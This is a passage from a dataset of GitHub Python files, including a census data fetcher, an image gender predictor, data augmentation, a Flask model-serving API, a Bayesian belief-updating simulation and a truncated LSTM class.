N_year_by_state,\n # but do not recurse into N_year_seq_by_state (or N_year_entire_sf).\n print(' recursive_fetch_states/dir_links: '+repr(dir_links))\n for d in sorted(dir_links):\n if d in state_links:\n continue\n if re.match('^[0-9]_year(_by_state)?/?$', all_links[d]) is not None:\n subdir = os.path.join(dirname, all_links[d])\n if not os.path.exists(subdir):\n os.mkdir(subdir, mode=0o755)\n self.recursive_fetch_states(self.join_url([url,d]), subdir)\n \n\n def fetch_state(self, url, dirname, state):\n print(' fetch_state('+url+', '+dirname+', '+state+')')\n pat = re.compile('^((all_[a-z]{2}\\\\.zip)|([a-z]{2}_all.zip)|(geo.*\\\\.zip)|(g[0-9]{4}.*\\\\.txt)|([a-z]{2}geo\\\\.[0-9]{4}-[0-9]yr))$')\n all_links = self.fetch_index_links(url)\n grab_links = [l for l in all_links if pat.match(all_links[l])]\n for g in sorted(grab_links):\n filename = os.path.join(dirname, all_links[g])\n self.save_file(self.join_url([url,g]), filename)\n \n\n \n\n \n# def recurse_acs_data_dir(self, url, dirname)\n# \"\"\"Handles states, or *_year_by_state directories (2010+\n# Saves *_SummaryFileTemplates.zip\n# \"\"\"\n# all_links = self.fetch_index_links(url)\n# \n# \n# def handle_summaryfile_dir(self, url, dirname):\n# \"\"\"Handle a summaryfile dir, like http://www2.census.gov/acs2013_5yr/summaryfile/\n# \n# \"\"\"\n# all_links = self.fetch_index_links(url)\n# \n# # save the docs\n# doc_pat = re.compile('\\\\.pdf$')\n# doc_links = [l for l in all_links if doc_pat.search(all_links[l])]\n# for l in doc_links:\n# full_url = self.join_url(url, l)\n# full_filename = os.path.join(dirname, l)\n# save_file(full_url, full_filename)\n# \n# # Now find the data\n# subdir_pat = re.compile('By_State_All_Tables/$')\n# subdir_links = [l for l in all_links if dir_pat.search(all_links[l])]\n# find_data(url, \n \n \n","repo_name":"rareitmeyer/census_trend_tools","sub_path":"acs_sf_fetch.py","file_name":"acs_sf_fetch.py","file_ext":"py","file_size_in_byte":12132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"26108250287","text":"import cv2\nimport tensorflow as tf\nimport numpy as np\nimport os\n\n#load trained model\nmodel = tf.keras.models.load_model('GDM.h5')\n\nrootPath = \"assets/testImage/\"\nfor r, d, f in os.walk(rootPath):\n for file in f:\n factImg = cv2.imread(\"assets/testImage/\"+file)\n img = cv2.resize(factImg, (128, 128))\n #Normalise and reshape data as model input\n modelData = np.array(img/255).reshape([-1, 128, 128, 3])\n resu = model.predict(modelData)\n #Print result\n print(file+\" Woman:\" + str(int((100*resu[0][0]))) +\n \"% Man:\"+str(int((100*resu[0][1])))+\"%\")\n","repo_name":"diwsi/Tensorflow-Gender-Detector","sub_path":"predictor.py","file_name":"predictor.py","file_ext":"py","file_size_in_byte":609,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"23159569135","text":"def myFunc():\n myList = [1, 2, 3, 4]\n\n # Push: Add to the end of list\n myList.append(5)\n myList.append(3)\n print(myList)\n\n # Insert at specific index\n myList.insert(2, 44)\n print(myList)\n\n # Pop: Removes from specified index and if not index present then remove the last element\n myList.pop()\n print(myList)\n\n # Filter\n myList.remove(3)\n print(myList)\n\n # findIndex\n index = myList.index(5)\n print(index)\n\n # concat\n list1 = ['a', 'b', 'c']\n list2 = ['d', 'e', 'f']\n for c in list2:\n list1.append(c)\n\n print(\"Concat: \", list1)\n","repo_name":"sambeetpanda507/python_tutorial","sub_path":"listTut.py","file_name":"listTut.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"24147122016","text":"import gzip\nimport logging\n\n\nlog = logging.getLogger(__name__)\n\n\ndef gzip_friendly_open(fpath):\n return gzip.open(fpath, 'rt') if fpath.endswith('gz') else open(fpath)\n\n\ndef load_bc_list(fpath):\n bc_list = [line.strip() for line in gzip_friendly_open(fpath)]\n if not bc_list:\n raise RuntimeError(f'No barcodes found in {arguments.barcode_file}')\n bc_list = [bc[:bc.index('-')] if '-' in bc else bc for bc in bc_list] # clean cellranger bcs\n return bc_list\n\n\ndef write_stats_file_from_cntr(cntr, fpath):\n with open(fpath, 'w') as out:\n for k, v in sorted(cntr.items()):\n s = f'{k}: {v:,d}'\n log.info(s)\n out.write(s + '\\n')\n","repo_name":"hawkjo/freediv10Xcellbcs","sub_path":"freediv10Xcellbcs/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":688,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23823165316","text":"import matplotlib.pyplot as plt\r\nimport tensorflow as tf\r\nimport pandas as pd\r\n\r\nfrom config import *\r\n\r\n\r\n# Plot the accuracy and cost summaries \r\ndef plotTrainResults(accRecord, valAccRecord, costRecord, valCostRecord):\r\n f, (ax1, ax2) = plt.subplots(2, 1, sharex=True, figsize=(10,4))\r\n ax1.plot(accRecord, label='acc')\r\n ax1.plot(valAccRecord, label='validation acc')\r\n ax1.set_title('Model Accuracy')\r\n ax2.plot(costRecord, label='cost')\r\n ax2.plot(valCostRecord, label='validation cost')\r\n ax2.set_title('Model Cost')\r\n plt.xlabel('Epochs')\r\n ax1.legend()\r\n ax2.legend()\r\n saveDir = '{}/summary.png'.format(outWeightDir)\r\n plt.savefig(saveDir)\r\n plt.show()\r\n print('\\n ########## Summary plot has been saved in {}'.format(saveDir))\r\n\r\n\r\n# Turn output of 2 nodes from the network into a single class\r\ndef getClassList(raw):\r\n outClass = []\r\n for i,row in enumerate(raw):\r\n if row[0] > row[1]:\r\n outClass.append(True)\r\n elif row[1] > row[0]:\r\n outClass.append(False)\r\n else:\r\n # print(\"error in row{}\".format(i))\r\n # import pdb;pdb.set_trace()\r\n outClass.append(False)\r\n return outClass\r\n\r\ndef getFeatureTestSetDf(featureTestSet,featureCols):\r\n procOutput = pd.DataFrame(data=featureTestSet,\r\n index=range(0,len(featureTestSet)),\r\n columns=featureCols)\r\n procOutput.to_csv(r'{}/before_{}'.format(outWeightDir,outCsvName), index = False)\r\n print('\\n ########## featureTestSet has been saved in {}'.format(outWeightDir))\r\n return procOutput\r\n\r\n### Deprecated function, not used anymore\r\ndef predictFromTestSet(x, y, featureTestSet, procOutput):\r\n getRisk = y\r\n rawOutput = getRisk.eval({x: featureTestSet})\r\n procOutput['Class'] = getClassList(rawOutput)\r\n return procOutput\r\n\r\ndef getComparison(y_actual, y_hat):\r\n TP = 0\r\n FP = 0\r\n TN = 0\r\n FN = 0\r\n\r\n for i in range(len(y_hat)): \r\n if y_actual[i]==y_hat[i]==1:\r\n TP += 1\r\n if y_hat[i]==1 and y_actual[i]!=y_hat[i]:\r\n FP += 1\r\n if y_actual[i]==y_hat[i]==0:\r\n TN += 1\r\n if y_hat[i]==0 and y_actual[i]!=y_hat[i]:\r\n FN += 1\r\n\r\n print (\"\\nPerformance stats on test set\"\r\n \"\\nSensitivity =\", \"{:.5f}\".format(TP/(TP+FN)),\r\n \"\\nSpecificity =\", \"{:.5f}\".format(TN/(TN+FP)), \r\n \"\\nPrecision =\", \"{:.5f}\".format(TP/(TP+FP)),\r\n \"\\nNegative predictive value =\", \"{:.5f}\".format(TN/(TN+FN)),\r\n \"\\nFalse positive rate =\", \"{:.5f}\".format(FP/(FP+TN)), \r\n \"\\nFalse negative rate =\", \"{:.5f}\".format(FN/(TP+FN)), \r\n \"\\nFalse discovery rate = \", \"{:.5f}\".format(FP/(TP+FP)),\r\n \"\\nAccuracy = \", \"{:.5f}\".format((TP+TN)/(TP+FP+FN+TN)))\r\n \r\n # ### Write reults to a text file\r\n # text_file = open(\"test_performance.txt\", \"w\")\r\n # text_file.write(result)\r\n # text_file.close()\r\n\r\n return [TP, FP, TN, FN]","repo_name":"Hernandope/credit-default-risk-prediction","sub_path":"postprocessor.py","file_name":"postprocessor.py","file_ext":"py","file_size_in_byte":2990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"43206971754","text":"import imgaug\nfrom imgaug import augmenters as iaa\nimport cv2\nimport numpy as np\n\nclass Augmenter:\n def __init__(self):\n self.augmenter = iaa.Sequential(\n [\n iaa.Fliplr(0.5),\n iaa.Crop(percent=(0.0,0.2)),\n iaa.AdditiveGaussianNoise(loc=0, scale=(0.0, 0.1 * 255.0)), # add gaussian noise to images\n iaa.LinearContrast((0.2, 1.4)),\n iaa.Sometimes(0.7, iaa.Lambda(\n func_images=self.random_shape_func_images,\n func_heatmaps=self.random_shape_func_heatmaps,\n func_keypoints=self.random_shape_func_keypoints\n )),\n iaa.SomeOf((0, 2),\n [\n iaa.Multiply((0.8, 1.2), per_channel=False),\n iaa.BlendAlphaFrequencyNoise(\n exponent=(-2, 2),\n foreground=iaa.Multiply((0.5, 4.0)),\n background=iaa.LinearContrast((0.5, 2.0))\n ),\n iaa.MotionBlur(k=(3, 5)),\n iaa.Add((-10, 10), per_channel=0.5), # change brightness of images (by -10 to 10 of original value)\n # Requires uint8 datatype\n # iaa.AddToHueAndSaturation((-20, 20)), # change hue and saturation\n iaa.LinearContrast((0.5, 1.5), per_channel=0.5) # improve or worsen the contrast\n ],\n random_order=True\n )\n ],\n random_order=False\n )\n\n def transform(self, image, labels):\n segmentation_map = imgaug.SegmentationMapsOnImage(labels, shape=labels.shape)\n image, labels = self.augmenter(image=image, segmentation_maps=segmentation_map)\n\n return image, labels.get_arr()\n\n def random_shape_func_images(self, images, random_state, parents, hooks):\n result = []\n try:\n for i, image in enumerate(images):\n img_lights = np.ones(image.shape, dtype=np.float32)\n for j in range(np.random.randint(1,15)): # up to n polygones\n img_light = np.zeros(image.shape, dtype=np.uint8)\n pts = np.random.randint(0, max(image.shape), (np.random.randint(3, 6), 2)) #each polygone between 3 and 6 points\n pts = pts.reshape((-1,1,2))\n cv2.fillPoly(img_light,[pts],(1, 1, 1))\n img_lights += img_light.astype(np.float32) * np.random.uniform(0.1, 2.0)\n img_lights_normalized = img_lights / min(1, img_lights.max())\n result.append(np.clip(image.astype(np.float32) * (img_lights_normalized + 1), 0.0, 255.0).astype(np.float32))\n except e:\n print(f\"error in augment: {e}\")\n return images\n return result\n\n def random_shape_func_heatmaps(self, heatmaps, random_state, parents, hooks):\n return heatmaps\n\n def random_shape_func_keypoints(self, keypoints_on_images, random_state, parents, hooks):\n return keypoints_on_images","repo_name":"okiwi6/HulkSemanticSegmentation","sub_path":"src/augmentation/augmenter.py","file_name":"augmenter.py","file_ext":"py","file_size_in_byte":3249,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"29166691642","text":"from flask_restx import Namespace, Resource\nfrom flask import request\nfrom utils.load_model import get_models, set_model\nimport time\nfrom auth.authentication import *\nfrom colorama import Fore as c\n\nLLMmodels = Namespace('models', description='Model related operations')\n\n@LLMmodels.route('/')\nclass Models(Resource):\n @require_api_key\n def get(self):\n '''\n Method to get the models available in the models folder.\n - Requires an API key in the request header.\n '''\n start_time = time.time()\n try:\n models = get_models()\n except Exception as e:\n error_message = str(e)\n return LLMmodels.abort(500, error_message)\n\n end_time = time.time()\n execution_time = end_time - start_time\n print(f\"\\n[ {c.WHITE}MODEL{c.RESET} ] Execution time in seconds: {execution_time}\\n\")\n\n return {\"models\": models}\n \n@LLMmodels.route('/model')\nclass Model(Resource):\n @require_api_key\n def post(self):\n '''\n Method to set the model to be used for predictions.\n - Requires an API key in the request header.\n - Requires a model name in the request body.\n - Requires a model config name in the request body. You can set the model config name in the config.json file in data.\n '''\n start_time = time.time()\n\n request_data = request.get_json()\n model_name = request_data.get(\"model\")\n model_config_name = request_data.get(\"model_config\")\n\n if not model_name:\n return LLMmodels.abort(400, \"No model name provided\")\n if not model_config_name:\n return LLMmodels.abort(400, \"No model config name provided\")\n\n try:\n model = set_model(\n model_config_name=model_config_name, \n model_name=model_name\n )\n except Exception as e:\n error_message = str(e)\n return LLMmodels.abort(500, error_message)\n \n end_time = time.time()\n execution_time = end_time - start_time\n print(f\"\\n[ {c.WHITE}MODEL{c.RESET} ] Execution time in seconds: {execution_time}\\n\")\n\n return {\"model_status\": model}","repo_name":"Agustinm28/Local-LLM-API","sub_path":"services/model_services.py","file_name":"model_services.py","file_ext":"py","file_size_in_byte":2219,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"70601077861","text":"import os\nimport sys\nimport shutil\nimport glob\nimport sqlite3\nimport subprocess\nimport random\nfrom PIL import Image\n\nfrom custom_kaggle_dataset import KaggleFacialExpression\n\ndef install_kaggle_dataset(input_dir):\n kaggle = KaggleFacialExpression()\n kaggle.install(os.path.join(input_dir,'fer2013.tar'))\n return kaggle\n\ndef kaggle_structure(split=False):\n\n input_dir = os.path.join(os.getcwd(), 'raw')\n output_dir = os.path.join(os.getcwd(), 'emotions') if not split else os.path.join(os.getcwd(), 'emotions_split')\n\n classes = ['Anger', 'Disgust', 'Fear', 'Happy', 'Sad', 'Surprise', 'Neutral']\n\n print('INPUT DIR: %s' % input_dir)\n print('OUTPUT DIR: %s' % output_dir)\n\n # creates a new output directory\n if not os.path.exists(output_dir): \n os.makedirs(output_dir)\n\n\n if not split:\n for _class in classes:\n if not os.path.exists(os.path.join(output_dir, _class)):\n os.makedirs(os.path.join(output_dir, _class))\n\n kaggle = install_kaggle_dataset(input_dir)\n\n\n for n, image_entry in enumerate(kaggle.meta):\n image = image_entry['pixels']\n label = image_entry['label']\n pil_image = Image.fromarray(image)\n pil_image.save(os.path.join(output_dir, classes[label], \"kaggle_image{}.png\".format(n)))\n\n else:\n if not os.path.exists(os.path.join(output_dir, \"train\")):\n os.makedirs(os.path.join(output_dir, \"train\"))\n if not os.path.exists(os.path.join(output_dir, \"validation\")):\n os.makedirs(os.path.join(output_dir, \"validation\"))\n for _class in classes:\n if not os.path.exists(os.path.join(output_dir, \"train\", _class)):\n os.makedirs(os.path.join(output_dir, \"train\", _class))\n if not os.path.exists(os.path.join(output_dir, \"validation\", _class)):\n os.makedirs(os.path.join(output_dir, \"validation\", _class))\n\n kaggle = install_kaggle_dataset(input_dir)\n\n for i in range(len(classes)):\n label_meta = [meta for meta in kaggle.meta if meta['label']==i]\n\n for n, image_entry in enumerate(label_meta):\n randm = random.random()\n subfolder = \"train\" if randm >= 0.2 else \"validation\"\n image = image_entry['pixels']\n label = image_entry['label']\n pil_image = Image.fromarray(image)\n pil_image.save(os.path.join(output_dir, subfolder, classes[label], \"kaggle_image_{}_{}.png\".format(i,n)))\n\nif __name__ == '__main__':\n\n kaggle_file = os.path.join(os.getcwd(), 'raw', 'fer2013.tar')\n\n if not os.path.exists(kaggle_file):\n print(\"kaggle file (fer2013.tar) couldn't be found in raw/\")\n exit(1)\n\n if len(sys.argv) == 1:\n kaggle_structure()\n elif sys.argv[1] == '--split':\n kaggle_structure(split=True)\n else:\n print(\"invalid command line argument\")\n\n","repo_name":"b3nk4n/AI-Hackathon","sub_path":"ml/emotion_detector/structure_kaggle.py","file_name":"structure_kaggle.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"40126408000","text":"#!/usr/bin/python3\n\n# import matplotlib.pyplot as plt\nfrom decimal import *\nimport random\nfrom copy import deepcopy\n\n\nclass ReevaluationOfPriorEvidence:\n def __init__(self, causing_evidence_postion, prior_evidence_positions_to_be_updated, belief_change_low, belief_change_high):\n self.causing_evidence_postion = causing_evidence_postion\n self.prior_evidence_positions_to_be_updated = prior_evidence_positions_to_be_updated\n self.belief_change_low = belief_change_low\n self.belief_change_high = belief_change_high\n\n\nclass BayesItem:\n \"\"\"\n The item we'll calculate on\n \"\"\"\n\n def __init__(self, position, likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2):\n self.position = position\n self.likelihood_h_1 = likelihood_h_1\n self.likelihood_h_2 = likelihood_h_2\n self.prior_h_1 = prior_h_1\n self.prior_h_2 = prior_h_2\n self.posterior_h_1 = 0.0\n self.posterior_h_2 = 0.0\n self.calculate_posterior()\n\n def calculate_posterior(self):\n \"\"\"\n Bayes calculation e.g.\n Likelihood(H_1)\t Prior(H_1)\t Likelihood(MG)\t Prior(H1)\t Likelihood(MB)\t Prior(H2)\n \"\"\"\n self.posterior_h_1 = (self.likelihood_h_1 * self.prior_h_1) / ((self.likelihood_h_1 * self.prior_h_1) + (self.likelihood_h_2 * self.prior_h_2))\n self.posterior_h_2 = (self.likelihood_h_2 * self.prior_h_2) / ((self.likelihood_h_2 * self.prior_h_2) + (self.likelihood_h_1 * self.prior_h_1))\n\n self.posterior_h_1 = normalize(self.posterior_h_1)\n self.posterior_h_2 = normalize(self.posterior_h_2)\n\n\ndef bayes(likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2, iterations):\n \"\"\"\n straight iterative bayes calculation, where priors become the previous posterior\n \"\"\"\n items = []\n for i in range(iterations):\n b = BayesItem(i, likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2)\n items.append(b)\n # priors for the next are this iterations posterior\n prior_h_1 = b.posterior_h_1\n prior_h_2 = b.posterior_h_2\n return items\n\n\ndef single_update(likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2, iterations, iteration_to_update, variance_low, variance_high):\n \"\"\"\n one belief update, then return to normal likelihoods\n \"\"\"\n original_likelihood_h_1 = likelihood_h_1\n original_likelihood_h_2 = likelihood_h_2\n items = []\n for i in range(iterations):\n if i == iteration_to_update:\n # Change in belief changes the likelihood, not the prior or posterior (that would be \"magic\")\n change = random.uniform(variance_low, variance_high)\n likelihood_h_1 = normalize(likelihood_h_1 + change)\n likelihood_h_2 = normalize(likelihood_h_2 + (1-abs(change)))\n else:\n likelihood_h_1 = original_likelihood_h_1\n likelihood_h_2 = original_likelihood_h_2\n\n b = BayesItem(i, likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2)\n items.append(b)\n prior_h_1 = b.posterior_h_1\n prior_h_2 = b.posterior_h_2\n return items\n\n\ndef iterative(likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2, iterations, iteration_to_update, variance_low, variance_high):\n \"\"\"\n Continue to update in the same one fashion until convergence\n So for each iteration above our belief change, we recalculate likelihoods\n \"\"\"\n items = []\n for i in range(iterations):\n if i >= iteration_to_update:\n change = random.uniform(variance_low, variance_high)\n likelihood_h_1 = normalize(likelihood_h_1 + change)\n likelihood_h_2 = normalize(likelihood_h_2 + (1-abs(change)))\n\n b = BayesItem(i, likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2)\n items.append(b)\n prior_h_1 = b.posterior_h_1\n prior_h_2 = b.posterior_h_2\n return items\n\n\ndef lookback(likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2, iterations, reevaluations, is_debug=False):\n \"\"\"\n My use of E and F was just to distinguish between the evidence received before\n the “realization moment” and the evidence received after it (respectively).\n So P*(E | H_1) is the likelihood/probability that I would see data like\n E if H_1 were true. That’s not the likelihood I used when I first observed E,\n of course, since I first saw E before I realized that I should use a different\n likelihood function. But if I do retrospective re-evaluation, then I will need\n to compute it, since I’m thinking “here’s what I should have believed back then.”\n\n In terms of convergence to 1 vs. to 0, the individual likelihood actually doesn’t\n matter. What matters is the **ratio** of the likelihoods for H_1 and for H_2.\n In general, if P(E | H_1) > P(E | H_2),\n then the Bayesian will (given infinite amounts of E-data) converge to P(H_1) = 1;\n and obviously, P(H_1) will converge to 0 if the inequality is reversed.\n So when you change the likelihoods at the “realization moment,”\n does that lead to a reversal of the inequality?\n\n --------\n\n For now, I would focus on the simple case where the re-evaluation applies to all prior evidence uniformly.\n That is, if we have seen evidence E (bolded to indicate that it is a set of evidence, not just one piece),\n then we have posteriors:\n\n P(H_1 | E) = P(E | H_1) P(H_1) / P(E)\n P(H_2 | E) = P(E | H_2) P(H_2) / P(E)\n\n If the likelihoods change to P*, then when we get new evidence F, we could:\n (a) use the above posteriors as our priors (i.e., forget the past evidence) then we have\n (dropping the denominators for simplicity):\n — P*(F | H_1) P(H_1 | E) = P*(F | H_1) P(E | H_1) P(H_1)\n — P*(F | H_2) P(H_2 | E) = P*(F | H_2) P(E | H_2) P(H_2)\n [these will be different than if we continued using the original likelihoods,\n but they assume that we don’t change any beliefs at the \"moment of insight”\n that leads to the likelihood changes]\n\n (b) go back and revisit the evidence E to rethink our beliefs at the moment of insight, in which case\n the numerators are:\n — P*(F | H_1) P*(E | H_1) P(H_1)\n — P*(F | H_2) P*(E | H_2) P(H_2)\n [that is, we compute the beliefs after E + F that we would have had if we had been using the P*s from\n the very beginning]\n\n 1\n 11\n 111\n 1111\n 11111\n 111111\n 1111111 -- reevaluation begins\n 11r1r1r12\n 333333333\n\n \"\"\"\n if is_debug:\n print(\"i,iter,likelihood_h_1,prior_h_1,b.posterior_h_1,prior_h_2,posterior_h_2\")\n\n items = []\n\n original_likelihood_h_1 = likelihood_h_1\n original_likelihood_h_2 = likelihood_h_2\n\n for i in range(iterations):\n reevaluation = None\n for r in reevaluations:\n #print(str(r.causing_evidence_postion) + \",\" + str(r.prior_evidence_positions_to_be_updated))\n if r.causing_evidence_postion == i:\n reevaluation = r\n break\n\n # is this a new E that causes reevaluation?\n if reevaluation:\n #print(\"reevaluation at \" + str(i))\n lookback_items = []\n # go back and reevaluate all items to this point\n for update_count, item in enumerate(items):\n # previous E originals\n item_original_likelihood_h_1 = item.likelihood_h_1\n item_original_likelihood_h_2 = item.likelihood_h_2\n if update_count == 0:\n prior_h_1 = item.prior_h_1\n prior_h_2 = item.prior_h_2\n\n # is this a previous E to reevaluate?\n if update_count in r.prior_evidence_positions_to_be_updated:\n #print(\"evidence to be reconsidered at \" + str(update_count))\n change = random.uniform(r.belief_change_low, r.belief_change_high)\n likelihood_h_1 = normalize(item.likelihood_h_1 + change)\n likelihood_h_2 = normalize(item.likelihood_h_2 + (1-abs(change)))\n else:\n likelihood_h_1 = item_original_likelihood_h_1\n likelihood_h_2 = item_original_likelihood_h_2\n\n lookback_item = BayesItem(update_count, likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2)\n lookback_items.append(lookback_item)\n\n if is_debug:\n print(\"{0:03d}\".format(i) + \",\" +\n \"{0:03d}\".format(update_count) + \",\" + str(likelihood_h_1) + \",\" +\n \"{:5f}\".format(prior_h_1) + \",\" + \"{:5f}\".format(lookback_item.posterior_h_1) + \",\" +\n \"{:5f}\".format(prior_h_2) + \",\" + \"{:5f}\".format(lookback_item.posterior_h_2) + \",\" + str(r.causing_evidence_postion) + \",\" + str(r.prior_evidence_positions_to_be_updated))\n\n prior_h_1 = lookback_item.posterior_h_1\n prior_h_2 = lookback_item.posterior_h_2\n\n likelihood_h_1 = original_likelihood_h_1\n likelihood_h_2 = original_likelihood_h_2\n\n b = BayesItem(i, likelihood_h_1, prior_h_1, likelihood_h_2, prior_h_2)\n items.append(b)\n\n if is_debug:\n print(\"{0:03d}\".format(i) + \",\" +\n \"000,\" + str(likelihood_h_1) + \",\" +\n \"{:5f}\".format(prior_h_1) + \",\" + \"{:5f}\".format(b.posterior_h_1) + \",\" +\n \"{:5f}\".format(prior_h_2) + \",\" + \"{:5f}\".format(b.posterior_h_2))\n\n prior_h_1 = b.posterior_h_1\n prior_h_2 = b.posterior_h_2\n\n return items\n\n\ndef normalize(n):\n if n > 1:\n n = 1\n if n < 0:\n n = 0\n return n\n\n\nprint(\"\"\"\n ________ ____ ____ \n|_ __ ||_ \\ / _| \n | |_ \\_| | \\/ | \n | _| _ | |\\ /| | \n _| |__/ | _| |_\\/_| |_ \n|________||_____||_____| \n \"\"\")\n\ngetcontext().prec = 5\n\nITERATIONS = 50\nLIKELIHOOD_H_1 = .6\nLIKELIHOOD_H_2 = .4\nPRIOR_H_1 = .5\nPRIOR_H_2 = .5\nITERATIONTOSTARTREEVALUATION = 7\nREEVALUATIONLOW = -.3\nREEVALUATIONHIGH = -.3\n\nDEBUG = False\n\nprint(\"i,update_i,likelihood_h_1,lookback_item.prior_h_1,lookback_item.posterior_h_1,lookback_item.prior_h_2,lookback_item.posterior_h_2\")\n\nresults1 = bayes(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS)\n\nresults2 = single_update(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS,\n ITERATIONTOSTARTREEVALUATION, REEVALUATIONLOW, REEVALUATIONHIGH)\n\nresults3 = iterative(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS,\n ITERATIONTOSTARTREEVALUATION, REEVALUATIONLOW, REEVALUATIONHIGH)\n\nreevaluations = []\nreevaluations.append(ReevaluationOfPriorEvidence(ITERATIONTOSTARTREEVALUATION, [2], REEVALUATIONLOW, REEVALUATIONHIGH))\n\nresults4 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nreevaluations = []\nevidence_to_reeval = []\nfor i in range(ITERATIONS):\n if i >= ITERATIONTOSTARTREEVALUATION:\n evidence_to_reeval.append(i)\n l = evidence_to_reeval[:]\n reevaluations.append(ReevaluationOfPriorEvidence(i, l, REEVALUATIONLOW, REEVALUATIONHIGH))\n\nif DEBUG:\n for r in reevaluations:\n print(r.causing_evidence_postion, r.prior_evidence_positions_to_be_updated)\n\nresults5 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nreevaluations = []\nevidence_to_reeval = []\nfor i in range(ITERATIONS):\n if i >= ITERATIONTOSTARTREEVALUATION:\n if(i % 10 == 0):\n evidence_to_reeval.append(i-1)\n l = evidence_to_reeval[:]\n reevaluations.append(ReevaluationOfPriorEvidence(i, l, REEVALUATIONLOW, REEVALUATIONHIGH))\n\nresults6 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nreevaluations = []\nevidence_to_reeval = []\nfor i in range(ITERATIONS):\n if i >= ITERATIONTOSTARTREEVALUATION:\n if(i % 5 == 0):\n evidence_to_reeval.append(i-1)\n l = evidence_to_reeval[:]\n reevaluations.append(ReevaluationOfPriorEvidence(i, l, REEVALUATIONLOW, REEVALUATIONHIGH))\n\nresults7 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nreevaluations = []\nevidence_to_reeval = []\nfor i in range(ITERATIONS):\n if i >= ITERATIONTOSTARTREEVALUATION:\n if(i % 3 == 3):\n evidence_to_reeval.append(i-1)\n l = evidence_to_reeval[:]\n reevaluations.append(ReevaluationOfPriorEvidence(i, l, REEVALUATIONLOW, REEVALUATIONHIGH))\n\nresults8 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nreevaluations = []\nevidence_to_reeval = []\nfor i in range(ITERATIONS):\n if i >= ITERATIONTOSTARTREEVALUATION:\n if(i % 2 == 0):\n evidence_to_reeval.append(i-1)\n l = evidence_to_reeval[:]\n reevaluations.append(ReevaluationOfPriorEvidence(i, l, REEVALUATIONLOW, REEVALUATIONHIGH))\n\nresults9 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nreevaluations = []\nevidence_to_reeval = []\nfor i in range(ITERATIONS):\n if i >= ITERATIONTOSTARTREEVALUATION:\n if(i % 2 != 0):\n evidence_to_reeval.append(i-1)\n l = evidence_to_reeval[:]\n reevaluations.append(ReevaluationOfPriorEvidence(i, l, REEVALUATIONLOW, REEVALUATIONHIGH))\n\nresults10 = lookback(LIKELIHOOD_H_1, PRIOR_H_1, LIKELIHOOD_H_2, PRIOR_H_2, ITERATIONS, reevaluations, DEBUG)\n\nprint(\"\")\nprint(\"E ,Bayes,Single,Iterative,LookbackSingle,LookbackIterative\")\nfor i in range(ITERATIONS):\n print(\"{0:03d}\".format(i) + \",\" +\n \"{:5f}\".format(results1[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results2[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results3[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results4[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results5[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results6[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results7[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results8[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results9[i].posterior_h_1) + \",\" +\n \"{:5f}\".format(results10[i].posterior_h_1))\n","repo_name":"dustinupdyke/epistemic_momentum","sub_path":"evaluations/backups/1_based_epistempic_momentum.py","file_name":"1_based_epistempic_momentum.py","file_ext":"py","file_size_in_byte":14289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"2368091161","text":"import torch.nn as nn\nimport torch\nimport torch.autograd as autograd\nimport torch.nn.functional as F\n\nclass ContLSTM(nn.Module):\n\n def __init__(self, input_dim, hidden_dim, batch_size, sent_len, cuda):\n super(ContLSTM, self).__init__()\n self.hidden_dim = hidden_dim\n self.batch_size = batch_size\n self.use_gpu = cuda\n self.sent_len = sent_len\n self.input_dim = input_dim\n # The LSTM takes word embeddings as inputs, and outputs hidden states\n # with dimensionality hidden_dim.\n 